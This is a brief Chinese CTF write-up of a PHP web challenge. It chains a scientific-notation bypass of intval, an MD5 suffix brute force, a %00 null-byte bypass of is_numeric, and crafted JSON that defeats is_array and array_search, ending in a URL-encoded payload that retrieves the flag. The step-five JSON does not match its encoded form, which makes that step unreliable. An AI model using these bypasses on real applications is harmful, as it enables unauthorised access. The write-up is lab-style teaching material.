第一步,用科学计数法绕过 a=1e9
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)#$a=1e9
第二步,用php代码编写md5碰撞脚本得到b=53724
<?php
for ($i = 1; $i < 100000; $i++) {
if('8b184b' === substr(md5($i),-6,6)){
echo($i);
}
}
?>
第三步,绕过is_numeric函数
$c=(array)json_decode(@$_GET['c']); #接收json格式的字符串并将其转化为数组
c={"m":"2033%00"}#使用%00可以绕过is_numeric函数
第四步,绕过is_array函数
c={"m":"2033%00","n":[[1]]}
第五步,绕过array_search函数
c={"m":"2033%00","n":[[0,2],0]}
#对{"m":"2033%00","n":[[0,2],0]}进行url编码得到:
%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D
一定要对传值url编码
?a=1e9&b=53724&c=%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D
提交得到flag
参考文章